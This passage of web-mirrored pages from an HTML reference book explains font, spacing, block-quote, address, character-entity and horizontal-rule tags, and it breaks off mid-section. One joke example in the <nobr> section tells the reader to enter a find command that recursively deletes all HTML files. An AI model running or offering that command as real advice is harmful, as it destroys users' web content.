HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.6 Expanded Font Handling

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.6 Expanded Font Handling

HTML 3.2 defines tags that give you more explicit control over the colors and sizes of the font characters that form your HTML text. Internet Explorer and Netscape go even further, providing a way for you to specify the display font itself.

The Extended Font Size Model

Instead of absolute point values, HTML 3.2 uses a relative model for sizing fonts. Ranging in size from 1, the smallest, to 7, the largest, the default (basefont) font size is 3.

It is almost impossible to reliably state the actual font sizes used for the various virtual sizes. Most browsers let the user change the physical font size, and the default sizes vary from browser to browser. It may be helpful to know, however, that each virtual size is successively 20 percent larger or smaller than the default font size 3. Thus, font size 4 is 20 percent larger, font size 5 is 40 percent larger, and so on, while font size 2 is 20 percent smaller and font size 1 is 40 percent smaller than font size 3.

The <basefont> Tag

The <basefont> tag lets you define the basic size for the font that the browser will use to render normal document text.

<basefont>
Function:

Define base font size for relative font size changes

Attributes:

COLOR (Internet Explorer)
NAME (Internet Explorer)
SIZE

End Tag:

</basefont>, optionally used

Contains:

Nothing

Used in:

block, head_content

The <basefont> tag has a single attribute recognized by all browsers, size, whose value determines the document's base font size. It may be specified as an absolute value from 1 to 7, or as a relative value by placing a plus or minus sign before the value. In the latter case, the base font size is increased or decreased by that relative amount. The default base font size is 3.

Internet Explorer supports two additional attributes for the <basefont> tag: color and name. These attributes control the color and typeface used for the text in a document and are used just like the analogous color and face attributes for the <font> tag, described below.

Authors typically include the <basefont> tag in the head of an HTML document, if at all, to set the base font size for the entire document. Nonetheless, the tag may appear nearly anywhere in the document, and it may appear several times throughout the document, each with a new size attribute. With each occurrence, the <basefont> tag's effects are immediate and hold for all subsequent text.

In an egregious deviation from the HTML and SGML standards, the browsers interpret the ending </basefont> tag not to terminate the effects of the most recent <basefont> tag. Instead, the </basefont> end tag resets the base font size to the default value of 3, which is the same as writing <basefont size=3>.

The following example source and Figure 4.13 illustrate how Netscape responds to the <basefont> tag and </basefont> end tag, including fixed and relative attribute values:

Unless the base font size was reset above,
Netscape renders this part in font size 3.
<basefont size=7>
This text should be rather large (size 7).
<basefont size=-1> Oh,
<basefont size=-1> no!
<basefont size=-1> I'm
<basefont size=-1> shrinking!
</basefont>
Ah, back to normal.

Figure 4.13: Playing with <basefont>

[Graphic: Figure 4-13]

We recommend against ever using </basefont>; use <basefont size=3> instead.

The <font> Tag

The <font> tag lets you change the size, style, and color of text. It should be used like any other physical or content-based style tag for changing the appearance of a short segment of text.

<font>
Function:

Set the font size for text

Attributes:

COLOR
FACE (Netscape) (Internet Explorer)
SIZE

End Tag:

</font>, always used

Contains:

text

Used in:

text

To control the color of text for the entire document, see the attributes for the <body> tag described in 5.3.1.

The size attribute

The value of the size attribute must be one of the virtual font sizes (1-7) described earlier, defined as an absolute size for the enclosed text or preceded by a plus or minus sign (+ or -) to define a relative font size that the browser adds to or subtracts from the base font size (see the <basefont> tag above). The browsers automatically round the size to 1 or 7 if the calculated value exceeds either boundary.

In general, use absolute size values when you want the rendered text to be an extreme size, either very large or very small, or when you want an entire paragraph of text to be a specific size.

For example, using the largest font for the first character of a paragraph makes for a crude form of illustrated manuscript (see Figure 4.14):

<p>
<font size=7>C</font>all me Ishmael.

Figure 4.14: Exaggerating the first character of a sentence

[Graphic: Figure 4-14]

Also, use an absolute font when inserting a delightfully unreadable bit of "fine" print--boilerplate or legalese--at the bottom of your documents (see Figure 4.15):

<p>
<font size=1>
All rights reserved. Unauthorized redistribution of this document is
prohibited. Opinions expressed herein are those of the authors, not the
Internet Service Provider.

Figure 4.15: Use the tiniest font for boilerplate text

[Graphic: Figure 4-15]

Except for the extremes, use relative font sizes to render text in a size different than the surrounding text, to emphasize a word or phrase, for example (see Figure 4.16):

<p>
Make sure you <font size=+1>always</font> sign and date the form!

Figure 4.16: Use relative sizes for most Netscape text embellishments

[Graphic: Figure 4-16]

If your relative size change results in a size greater than seven, the browser uses font 7. Similarly, font sizes less than one are rendered with font 1.

Notice that specifying size=+1 or size=-1 is identical in effect to the <big> and <small> respectively. However, nested relative changes to the font size are not cumulative as they are for the alternate tags. Each <font> tag is relative to the base font size, not the current font size. [the section called "The <big> Tag"] For example (see Figure 4.17):

<p>
The ghost moaned, "oo<font size=+1>oo<font size=+2>oo<font
size=+3>oo</font>oo</font>oo</font>oo."

Contrast this with the <big> tag, which increases the size one level as you nest the tags.

Figure 4.17: Relative font sizes accumulate

[Graphic: Figure 4-17]

The color attribute

The color attribute for the <font> tag sets the color of the enclosed text. The value of the attribute may be expressed in either of two ways: as the red, green, and blue (RGB) components of the desired color or as a standard color name. Enclosing quotes are recommended, but not required.

The RGB color value, denoted by a preceding pound sign, is a six-digit hexadecimal number. The first two digits are the red component, from 00 (no red) to FF (bright red). Similarly, the next two digits are the green component and the last two digits are the blue component. Black is the absence of color, #000000; white is all colors, #FFFFFF.

For example, to create basic yellow text, you might use:

Here comes the <font color="#FFFF00">sun</font>!

Alternatively, you may set the enclosed font color using any one of the many standard color names. See Appendix F, Color Names and Values, for a list of common ones. For instance, you could also have made the above sample text yellow with the following source:

Here comes the <font color=yellow>sun</font>!

The face attribute

Internet Explorer and Netscape let you change the font style in a text passage with the face attribute for the <font> tag.[2]

[2] For the HTML purist, for the once-powerful user, who had ultimate control over their browser, this is egregious, indeed. Form over function; look over content--what next? Embedded video commercials you can't stop?

The quote-enclosed value of face is one or more display font names separated with commas.

The font face displayed by the browser depends on which fonts are available on the individual user's system. The browser parses the list of font names, one after the other, until it matches one with a font name supported by the user's system. If none match, the text display defaults to the font style set by the user in their browser's preferences. For example:

This text is in the default font. But,
<font face="Braggadocio, Machine, Zapf Dingbats">
heaven only knows</font>
what font face is this one?

If the Internet Explorer user has the Braggadocio, Machine, or none of the listed font typefaces installed in their system, they will be able to read the "heaven only knows" message in the respective or default font style. Otherwise, the message will be garbled because the Zapf Dingbats font contains symbols, not letters. Of course, the alternative is true, too; you may intend that the message be a symbol-encoded secret.

Previous | Home | Next
Physical Style Tags | Book Index | Precise Spacing and Layout
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.7 Precise Spacing and Layout

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.7 Precise Spacing and Layout

HTML style sheets notwithstanding, the original concept of the language is for specifying document content without indicating format; to delineate the structure and semantics of a document, not how that document is to be presented to the user. Normally, you should leave word wrapping, character and line spacing, and other presentation details up to the browser. That way, the document's content--its rich information, not good looks--are what matter. When looks matter more, such as for commercial presentations, look to style sheets for layout control (see Chapter 9, Cascading Style Sheets).

That said, there are certain occasions when explicitly interrupting normal HTML text formatting makes sense. Besides, HTML currently is the only language of the World Wide Web. And, clearly, commercial advertising and other forms of style-over-content, short-lived HTML documents do need to have some control over format. We're adamant, not fanatic.

The <br> Tag

The <br> tag interrupts the normal line filling and word wrapping of paragraphs within an HTML document. It has no ending tag, but simply marks the point in the flow where a new line should begin. Most browsers simply stop adding words and images to the current line, move down and over to the left margin, and resume filling and wrapping.

<br>
Function:

Insert a line break into a text flow

Attributes:

CLEAR

End tag:

None

Contains:

Nothing

Used in:

text

This effect is handy when formatting conventional text with fixed line breaks, such as addresses, song lyrics, or poetry. Notice, for example, the lyrical breaks when the following source is rendered by Netscape:

<h3>
Heartbreak Hotel</h3>
<p>
Ever since my baby left me<br>
I've found a new place to dwell.<br>
It's down at the end of lonely street<br>
Called <cite>Heartbreak Hotel</cite>.
</p>

The results are shown in Figure 4.18.

Figure 4.18: Give lyrics their breaks (<br>)

[Graphic: Figure 4-18]

Also notice how the <br> tag causes text to simply start a new line, while the browser, when encountering the <p> tag, typically inserts some vertical space between adjacent paragraphs. [<p>, the section called "The <p> Tag"]

The clear attribute

Normally, the <br> tag tells the browser to immediately stop the current flow of text and resume at the left margin of the next line or against the right border of a left-justified inline graphic or table. Sometimes you'd rather the current text flow resume below any tables or images currently blocking the left or right margins.

HTML 3.2 provides that capability with the clear attribute for the <br> tag. It can have one of three values: left, right, or all, each related to one or both of the margins. When the specified margin or both margins are clear of images, the browser resumes the text flow.

Figure 4.19 illustrates the effects of the clear attribute when Netscape renders the following HTML fragment:

<img src="http:kumquat.gif" align=left>
This text should wrap around the image, flowing between the
image and the right margin of the document.
<br clear=left>
This text will flow as well, but will be below the image,
extending across the full width of the page. There will
be white space above this text and to the right of the
image.

Figure 4.19: Clearing images before resuming text flow after the <br> tag

[Graphic: Figure 4-19]

Inline HTML images are just that--normally in line with text, but usually only a single line of text. Additional lines of text flow below the image unless that image is specially aligned by right or left attribute values for the <img> tag (similarly for <table>). Hence, the clear attribute for the <br> tag only works in combination with left- or right-aligned images or tables. [the section called "The align attribute"] [the section called "The align attribute"]

The following HTML code fragment illustrates how to use the <br> tag and its clear attribute as well as the <img> tag's alignment attributes to place captions directly above, centered on the right, and below an image that is aligned against the left margin of the browser window:

Paragraph tags separate leading and following
text flow from the captions.
<p>
I'm the caption on top of the image.
<br>
<img src="kumquat.gif" align=absmiddle>
This one's centered on the right.
<br clear=left>
This caption should be directly below the image.
<p>
And the text just keeps flowing along....

Figure 4.20 illustrates the results of this example code.

You might also include a <br clear=all> tag just after an <img> tag or table that is at the very end of a section of your document. That way, you ensure that the subsequent section's text doesn't flow up and against that image and confuse the reader. [the section called "The <img> Tag"]

Figure 4.20: Captions placed on top, center-right, and below an image

[Graphic: Figure 4-20]

The <nobr> Tag

Occasionally, you may have a phrase you want to appear unbroken on a single line in the user's browser window, even if that means the text extends beyond the visible region of the window. Computer commands are good examples. Typically, one types in a computer command--even a multiword one--on a single line. Because you cannot predict exactly how many words will fit inside an individual's browser window, the HTML-based sequence of computer-command words may end up broken into two or more lines of text. Command syntax is confusing enough; it doesn't need the extra cross-eyed effect of being wrapped onto two lines.

With standard HTML, the way to make sure text phrases stay intact across the browser display is to enclose those segments in a <pre> tag and format it by hand. That's acceptable and nearly universal for all browsers. However, <pre> alters the display font from the regular text, and manual line breaks inside the <pre> tag are not always rendered correctly. [the section called "The <pre> Tag"]

<nobr> (Netscape) (Internet Explorer)
Function:

Create a region of non-breaking text

Attributes:

None

End Tag:

</nobr>; always used

Contains:

text

Used in:

block

The modern browsers offer the <nobr> tag alternative to <pre> so you can be sure enclosed text stays intact on a single line while retaining normal text style. The effect is to make the browser treat the tag's contents as though they were a single, unbroken word. The tag contents retain the current font style, and you can change to another style within the tag.

Here's the <nobr> tag in action with our computer-command example:

When prompted by the computer, enter
<nobr>
<tt>find . -name \*.html -exec rm \{\}\;</tt>.
</nobr>
After a few moments, the load on your server will begin
to diminish and will eventually drop to zero.

Notice in the example source and its display (Figure 4.21) that we've included the special <tt> tag inside the <nobr> tag. If the <nobr>-tagged text cannot fit on a partially filled line of text, the extended browser precedes it with a line break, as shown in the figure. The <nobr> segment may then extend beyond the right window boundary. [the section called "The <tt> Tag"]

Figure 4.21: The <nobr> extension suppresses text wrapping

[Graphic: Figure 4-21]

The <nobr> tag does not suspend the browser's normal line-filling process; it still collects and inserts images and--believe it, or not--asserts forced line breaks caused by the <br> or <p> tags, for example. The <nobr> tag's only action is to suppress an automatic line break when the current line reaches the right margin.

Also, you might think this tag is needed only to suppress line breaks for phrases, not a sequence of characters without spaces that can exceed the browser window's display boundaries. Today's browsers do not hyphenate words automatically, but someday soon they probably will. It makes sense to protect any break-sensitive sequence of characters with the <nobr> tag.

The <wbr> Tag

The <wbr> tag is the height of HTML text-layout finesse. Used with the <nobr> tag, <wbr> advises the extended browser when it may insert a line break in an otherwise nonbreakable sequence of text. Unlike the <br> tag, which always causes a line break even within a <nobr> tagged segment, the <wbr> tag works only when placed inside a <nobr>-tagged content segment and causes a line break only if the current line already had extended beyond the browser's display window margins.

<wbr> (Netscape) (Internet Explorer)
Function:

Define potential line break point if needed

Attributes:

None

End Tag:

None

Contains:

Nothing

Used in:

text

Now, <wbr> may seem incredibly esoteric to you, but scowl not. There may come a time when you want to make sure portions of your document appear on a single line, but you don't want to overrun the browser window margins so far that readers will have to camp on the horizontal scroll bar just to read your fine prose. By inserting the <wbr> tag at appropriate points in the nonbreaking sequence, you let the browser gently break the text into more manageable lines:

<p>
<nobr>
This is a very long sequence of text that is
forced to be on a single line, even if doing so causes
<wbr>
the browser to extend the document window beyond the
size of the viewing pane and the poor user must scroll right
<wbr>
to read the entire line.
</nobr>

You'll notice in our rendered version (Figure 4.22) that both <wbr> tags take effect. By increasing the horizontal window size or by reducing the font size, you may fit all of the segment before the first <wbr> tag within the browser window. In that case, only the second <wbr> would have an effect; all the text leading up to it would extend beyond the window's margins.

Figure 4.22: Gentle line breaks with <wbr>

[Graphic: Figure 4-22]

Better Line-Breaking Rules

Unlike most browsers, and to their credit, Netscape and Internet Explorer do not consider tags to be a line-break opportunity. Consider the unfortunate consequences to your document's display if, while rendering the example segment below, the browser puts the comma adjacent to the "du" or the period adjacent to the word "df" on a separate line. Netscape and Internet Explorer will not:

Make sure you type <tt>du</tt>, not <tt>df</tt>.

The <pre> Tag

The <pre> tag and its required end tag (</pre>) define a segment inside which the browser renders text in exactly the character and line spacing defined in the source HTML document. Normal word wrapping and paragraph filling are disabled, and extraneous leading and trailing spaces are honored. The browser displays all text between the <pre> and </pre> tags in a monospaced font.

<pre>
Function:

Render a block of text without any formatting

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)
WIDTH

End tag:

</pre>; never omitted

Contains:

pre_content

Used in:

block

HTML authors most often use the <pre> formatting tag when the integrity of columns and rows of characters must be retained; for instance, in tables of numbers that must line up correctly. Another application for <pre> is to set aside a blank segment--a series of blank lines--in the document display, perhaps to clearly separate one content section from another, or to temporarily hide a portion of the document when it first loads and is rendered by the user's browser.

Tab characters have their desired effect within the <pre> block, with tab stops defined at every eight character positions. We discourage their use, however, since tabs aren't consistently implemented among the various browsers. Use spaces to ensure correct horizontal positioning of text within <pre>-formatted text segments.

A common use of the <pre> tag is to present computer source code, as in the following example:

<p>
The processing program is:
<pre>
main(int argc, char **argv)
{   FILE *f;
    int i;
    if (argc != 2)
      fprintf(stderr, "usage: %s &lt;file&gt;\n",
          argv[0]);
    <a href="http:process.c">process</a>(argv[1]);
    exit(0);
}
</pre>

The result is displayed by Mosaic as shown in Figure 4.23.

Figure 4.23: Use the <pre> tag to preserve the integrity of columns and rows

[Graphic: Figure 4-23]

Allowable content

The text within a <pre> segment may contain physical and content-based style changes, along with anchors, images, and horizontal rules. When possible, the browser should honor style changes, within the constraint of using a monospaced font for the entire <pre> block.

Tags that cause a paragraph break (headings, <p>, and <address> tags, for example), must not be used within the <pre> block. Some browsers will interpret paragraph-ending tags as simple line breaks, but this behavior is not consistent across all browsers.

Since style markup and other tags are allowed in a <pre> block, you must use entity equivalents for the literal characters: &lt; for <, &gt; for >, and &amp; for the ampersand.

You place tags into the <pre> block as you would in any other portion of the HTML document. For instance, study the reference to the "process" function in the previous example. It contains a hyperlink (using the <a> tag) to its source file named process.c.

The width attribute

The <pre> tag has a single optional attribute, width, that determines the number of characters to fit on a single line within the <pre> block. The browser may use this value to select a font or font size that fits the specified number of characters on each line in the <pre> block. It does not mean that the browser will wrap and fill text to the specified width. Rather, lines longer than the specified width simply extend beyond the visible region of the browser's window.

The width attribute is only advice for the user's browser; it may or may not be able to adjust the view font to the specified width.

The style and class attributes

Although the browsers usually display <pre> content in a defined style, you can override that style and add special effects, such as a background picture, by defining your own style for the tag. This new look can be applied to the <pre> tags using either the style or class attributes. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

The <center> Tag

The <center> tag's effects are obvious: content, including text, graphics, tables, and so on, are each centered inside the browser's window. For text, this means that each line, individually, gets centered after the text flow is filled and wrapped. The <center> alignment remains in effect until canceled with its </center> end tag.

<center>
Function:

Center a section of text

Attributes:

None

End tag:

</center>; never omitted

Contains:

body_content

Used in:

block

Line-by-line is a common, albeit primitive, way to center text, and it should be used judiciously. That's because the browsers do not attempt to balance a centered paragraph or other block-related elements, such as elements in a list. So, keep your centered text short and sweet. Titles make good centering candidates; a centered list usually is difficult to follow.

Beyond that, you'll rarely see conventional text centered, except for some lyrical prose, so readers may react badly to large segments of centered prose in your documents. Rather, HTML authors more commonly use <center> to center a table or image in the display window (there is no explicit center alignment option for inline images or tables).

Because users will have varying window widths, display resolutions, and so on, you may also want to employ the <nobr> and <wbr> extension tags (see previous descriptions) to keep your centered text intact and looking good. For example:

<center>
<nobr>
Copyright 1995 by QuatCo Enterprises.<wbr>
All rights reserved.
</nobr>
</center>

The <nobr> tags in the sample source help ensure that the text remains on a single line, and the <wbr> tag controls where the line may be broken if it exceeds the browser's display window width.

Centering also is useful for creating distinctive section headers, although you may now achieve the same effect with an explicit align=center attribute in the respective heading tag. You might also center text using align=center in conjunction with the <div> or <p> tags. In general, the <center> tag can be replaced by an equivalent <div align=center> or similar tag and its use should be discouraged. It is only retained in HTML 3.2 for historical purposes and may be removed from later versions of the standard.

The <listing> Tag

The <listing> tag is a deprecated element of HTML 3.2, meaning that its use is discouraged and that it may disappear entirely in subsequent versions of the language. We include it here for historical reasons, since it has the same effect on text formatting as the <pre> tag with a specified width of 132 characters.

<listing>
Function:

Render a block of text without any formatting

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</listing>; never omitted

Contains:

literal_text

Used in:

block

The only difference between <pre> and <listing> is that no other markup is allowed within the <listing> tag. So you don't have to replace the literal <, >, and & characters with their entity equivalents in a <listing> block as you must inside a <pre> block.

Since the <listing> tag is the same as a <pre width=132> tag, and because it might not be supported in later version of the language, we recommend you stay away from using <listing>.

The <xmp> Tag

Like the <listing> tag, the <xmp> tag is a deprecated element of HTML 3.2 included here mostly for historical reasons.

<xmp>
Function:

Render a block of text without any formatting

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</xmp>, never omitted

Contains:

literal_text

Used in:

block

The <xmp> tag formats text just like the <pre> tag with a specified width of 80 characters. However, unlike the <pre> tag, you don't have to replace the literal <, >, and & characters with their entity equivalents within an <xmp> block. The name <xmp> is short for "example"; the language's designers intended the tag be used to format examples of text originally displayed on 80-column wide displays. Because the 80-column display has mostly gone the way of green screens and teletypes, and since the effect of a <xmp> tag is basically the same as <pre width=80>, don't use <xmp>; it may disappear entirely in subsequent versions of HTML.

The <plaintext> Tag

Tired of tags? Insert a <plaintext> tag into your document and browsers will treat the rest of your text just as written with no markup allowed. The text will be displayed in a monospaced font with no other formatting, unless you specially change that with the style or class attribute. There is no ending tag for <plaintext> (of course, no markup!).

<plaintext>
Function:

Render a block of text without any formatting

Attributes:

None

End tag:

None

Contains:

literal_text

Used in:

block

The main mission for <plaintext> is to make existing ASCII documents palatable to browsers. In the early days of the Web, this may have been necessary, but today's browsers, which handle exceptional documents gracefully thanks to embedded MIME-type encoding, have made this tag obsolete. It is included here for completeness, but we strongly discourage its use.

Previous | Home | Next
Expanded Font Handling | Book Index | Block Quotes
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.8 Block Quotes

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.8 Block Quotes

A common element in conventional documents is the block quote, a lengthy copy of text from another document. Traditionally, short quotes are set off with quotation marks, while block quotes are made entirely of separate paragraphs within the main document, typically with special indentation and sometimes italicized--features that you may change through style or class definitions (see Chapter 9, Cascading Style Sheets).

The <blockquote> Tag

All of the text within the <blockquote> and </blockquote> tags is set off from the regular document text, usually with indented left and right margins, and sometimes in italicized typeface. Actual rendering varies from browser to browser, of course.

<blockquote>
Function:

Define a block quotation

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</blockquote>, never omitted

Contains:

body_content

Used in:

block

The HTML standard allows any and all markup within the <blockquote>, although some physical and content-based styles may conflict with the font used by the browser for the block quote. Experimentation will reveal those little warts.

The <blockquote> tag is often used to set off long quotations from other sources:

We acted incorrectly in arbitrarily changing the Kumquat
Festival date. Quoting from the Kumquat Growers' Bylaws:
<blockquote>
  The date of the Kumquat Festival may only be changed by
  a two-thirds vote of the General Membership, provided
  that a <strong>60 percent quorum</strong> of the Membership
  is present.
</blockquote>
(Emphasis mine) Since such a quorum was not present, the
vote is invalid.

The style and class attributes

Although the browsers usually display <blockquote> content in a defined style, you can override that style and add special effects, such as a background picture, by defining your own style for the tag. This new look can be applied to the <blockquote> tags using either the style or class attributes. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Precise Spacing and Layout | Book Index | Addresses
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.9 Addresses

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.9 Addresses

Addresses are a very common element in text documents, and HTML provides a special tag that sets addresses apart from the rest of a document's text. While this may seem a bit extravagant--addresses have few formatting peculiarities that would require a special tag--it is an example of content, not format, that is the intent and purpose of HTML markup.

By defining text that comprises an address, the author lets the browser format that text in a different manner, as well as process that text in ways helpful to users. It also makes the content readily accessible to automated readers and extractors. For instance, an online directory might include addresses the browser collects into a separate document or table, or automated tools might extract addresses from a collection of documents to build a separate database of addresses.

The <address> Tag

The <address> and its required end (</address>) tag tell a browser that the enclosed text is an address. The browser may format the text in a different manner than the rest of the document text, or use the address in some special way. You also have control over the display properties through the style and class attributes for the tag (see Chapter 9, Cascading Style Sheets).

<address>
Function:

Define an address

Attributes:

CLASS (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)

End tag:

</address>, never omitted

Contains:

body_content

Used in:

address_content

The text within the <address> tag may contain any element normally found in the body of an HTML document, excluding another <address> tag. Style changes are allowed, but may conflict with the style chosen by the browser to render the address element.

We think most, if not all, HTML documents should have their authors' addresses included somewhere convenient to the user, usually at the end. At the very least, the address should be the author's or webmaster's email address, along with a link to their home page. Street addresses and phone numbers are optional; personal ones are usually not included for reasons of privacy.

For example, the address for the webmaster responsible for a collection of commercial web documents often appears in source documents as follows, including the special mailto: URL protocol that lets users activate the browser's email tool:

<address>
  <a href="mailto:webmaster@ora.com">Webmaster</a><br>
  O'Reilly & Associates, Inc.<br>
  Cambridge, Massachusetts<br>
</address>

Figure 4.24 displays the results.

Figure 4.24: The <address> tag in action

[Graphic: Figure 4-24]

Whether it is short and sweet or long and complete, make sure every document you create has an address attached to it. If something is worth creating and putting on the Web, it is worth comment and query by your readership. Anonymous documents carry little credibility on the Web.

The style and class attributes

Although the browsers usually display <address> content in a defined style, you can override that style and add special effects, such as a background picture, by defining your own style for the tag. This new look can be applied to the <address> tags using either the style or class attributes. [the section called "Inline Styles: The style Attribute"] [the section called "Style Classes"].

Previous | Home | Next
Block Quotes | Book Index | Special Character Encoding
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.10 Special Character Encoding

HTML: The Definitive Guide

Previous Chapter 4
Text Basics 		Next

4.10 Special Character Encoding

For the most part, characters within HTML documents that are not part of a tag are rendered as-is by the browser. However, some characters have special meaning and are not directly rendered, while other characters can't be typed into the source document from a conventional keyboard. Special characters need either a special name or a numeric character encoding for inclusion in an HTML document.

Special HTML Characters

As has become obvious in the discussion and examples leading up to this section of the book, three special characters in HTML source documents have very special meaning: the less-than sign (<), the greater-than sign (>), and the ampersand (&). These characters delimit tags and special character references. They'll confuse a browser if left dangling alone or with improper tag syntax. So you've got to go out of your way to include their actual, literal characters in your HTML documents. The only exception to this is that these characters may appear literally within the <listing> and <xmp> tags.

Similarly, you've got to use a special encoding to include double quotation mark characters within a quoted string, or when you want to include a special character that doesn't appear on your keyboard but is part of the ISO Latin-1 character set implemented and supported by most browsers.

Inserting Special Characters

To include a special character in your HTML document, you enclose either its standard entity name or a pound sign (#) and its numeric position in the Latin-1 standard character set[3] inside a leading ampersand and an ending semicolon, without any spaces in-between. Whew. That's a long explanation for what is really a simple thing to do, as the following example illustrates. The example23 shows how to include a greater-than sign in a snippet of code by using the character's entity name. It also demonstrates how to include a greater-than sign in your HTML text by referencing its Latin-1 numeric value:

[3] The popular ASCII character set is a subset of the more comprehensive Latin-1 character set. Composed by the well-respected International Organization for Standardization (ISO), the Latin-1 set is a list of all letters, numbers, punctuation marks, and so on, commonly used by Western language writers, organized by number and encoded with special names. Appendix E, Character Entities contains the complete Latin-1 character set and encoding.

if a &gt; b, then t = 0
if a &#62; b, then t = 0

Both examples cause the text to be rendered as:

if a > b, then t = 0

The complete set of character entity values and names are in Appendix E, Character Entities. You could write an entire HTML document using character encoding, but that would be silly.

Previous | Home | Next
Addresses | Book Index | Rules, Images, and Multimedia
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] Rules, Images, and Multimedia

HTML: The Definitive Guide

Previous Chapter 5 Next

5. Rules, Images, and Multimedia

Contents:
Horizontal Rules
Inserting Images in Your Documents
Document Colors and Background Images
Background Audio
Animated Text
Other Multimedia Content
Beyond HTML

While the body of most HTML documents is text, an appropriate seasoning of horizontal rules, images, and other multimedia elements make for a much more inviting and attractive document. These features of HTML are not simply gratuitous geegaws that make your documents look pretty, mind you. Multimedia elements bring HTML documents alive, providing a dimension of valuable information often unavailable in other media, such as print. In this chapter, we describe in detail how you can insert special multimedia elements into your documents, when their use is appropriate, and how to avoid overdoing it.

5.1 Horizontal Rules

Horizontal rules give you a way to separate sections of your document visually. That way, you give readers a clean, consistent, visual indication that one portion of your document has ended and another portion is beginning. Horizontal rules effectively set off small sections of text, delimit document headers and footers, and provide extra visual punch to headings within your document.

The <hr> Tag

The <hr> tag tells the browser to insert a horizontal rule across the display window. Like the <br> tag, <hr> forces a simple line break, although unlike <br>, <hr> causes the paragraph alignment to revert to the default (left-justified). The browser places the rule immediately below the current line, and content flow resumes below the rule. [the section called "The <br> Tag"]

<hr>
Function:

Break a text flow and insert a horizontal rule

Attributes:

ALIGN
CLASS (Netscape) (Internet Explorer)
COLOR (Internet Explorer)
NOSHADE
STYLE (Netscape) (Internet Explorer)
SIZE
WIDTH

End tag:

None

Contains:

Nothing

Used in:

body_content

The rendering of a horizontal rule is at the discretion of the browser. Typically, it extends across the entire document. Graphical browsers may render the rule with a chiseled or embossed effect; character-based browsers most likely use dashes or underscores to create the rule.

Figure 5.1: Paragraph tags give your text extra elbow room

[Graphic: Figure 5-1]

There is no additional space above or below a horizontal rule. If you wish to set it off from the surrounding text, you must explicitly place the rule in a new paragraph, followed by another paragraph containing the subsequent text. For example, note the spacing around the horizontal rules in the following source and in Figure 5.1:

This text is directly above the rule.
<hr>
And this text is immediately below.
<p>
Whereas this text will have space before the rule.
<p>
<hr>
<p>
And this text has space after the rule.

A paragraph tag following the rule tag is necessary if you want the content beneath the rule line aligned in any style other than the default left.

The size attribute

Normally, browsers render horizontal rules three pixels[1] thick with a chiseled, 3D appearance, making the rule look incised into the page. You may thicken the rules with the size attribute. The required value is the thickness, in pixels. You can see the effects of this attribute in Figure 5.2 as constructed from the following source:

[1] A pixel is one of the many tiny dots that make up the display on your computer. While display sizes vary, a good rule of thumb is that one pixel equals one point on a common 75 dot-per-inch display monitor. A point is a unit of measure used in printing and is roughly equal to 1/72 of an inch (there are 72.27 points in an inch, to be exact). Typical typefaces used by various browsers are usually 12 points tall, yielding six lines of text per inch.

<p>
This is conventional document text,
followed by a normal, 3-pixel tall rule line.
<hr>
The next three rule lines are 12, 36, and 72 pixels tall.
<hr size=12>
<hr size=36>
<hr size=72>

Figure 5.2: Netscape lets you vary the horizontal rule size

[Graphic: Figure 5-2]

The noshade attribute

You may not want a 3D rule line, preferring a flat, 2D rule. Just add the noshade attribute (no value required) to the <hr> tag to eliminate the effect. Note the difference in appearance of a "normal" 3D rule versus the noshade 2D one in Figure 5.3. (We've also exaggerated the rule's thickness for obvious effect, as evident in the source HTML fragment.)

<hr size=32>
<hr size=32 noshade>

Figure 5.3: Netscape's 3D rule versus the noshade 2D option

[Graphic: Figure 5-3]

The width attribute

The default rule is drawn across the full width of the view window. You can shorten or lengthen rules with the width attribute, creating rule lines that are either an absolute number of pixels wide or extend across a certain percentage of the current text flow. Most browsers automatically center partial-width rules; see the align attribute (below) to left- or right-justify horizontal rules.

Here are some examples of width-specified horizontal rules (see Figure 5.4):

The following rules are 40 and 320 pixels wide
no matter the actual width of the browser window
<hr width=40>
<hr width=320>
Whereas these next two rules will always extend across
10 and 75 percent of the window, regardless of its width:
<hr width="10%">
<hr width="75%">

Figure 5.4: Absolute versus relative rule widths

[Graphic: Figure 5-4]

Notice, too, that the relative (percentage) value for the width attribute is enclosed in quotation marks; the absolute (integer) pixel value is not. In fact, the quotation marks aren't absolutely necessary, but since the percent symbol normally means that an encoded character follows, failure to enclose the percent width value in quotation marks may confuse other browsers and trash a portion of your rendered document.

In general, it isn't a good idea to specify the width of a rule as an exact number of pixels. Browser windows vary greatly in their width, and what might be a small rule on one browser might be annoyingly large on another. For this reason, we recommend specifying rule width as a percentage of the window width. That way, when the width of the browser window changes, the rules retain their same relative size.

The align attribute

The align attribute for a horizontal rule can have one of three values: left, center, or right. For those rules whose width is less than the current text flow, the rule will be positioned relative to the window margins accordingly. The default alignment is center.

A varied rule alignment makes for nice section dividers. For example, the source shown below alternates a 35 percent-wide rule from right to center to the left margin (see Figure 5.5).

<hr width="35%" align=right>
<h3>Fruit Packing Advice</h3>
...
<hr width="35%" align=center>
<h3>Shipping Kumquats</h3>
...
<hr width="35%" align=left>
<h3>Juice Processing</h3>
...

Figure 5.5: Varying horizontal rule alignment makes for subtle section dividers

[Graphic: Figure 5-5]

The color attribute

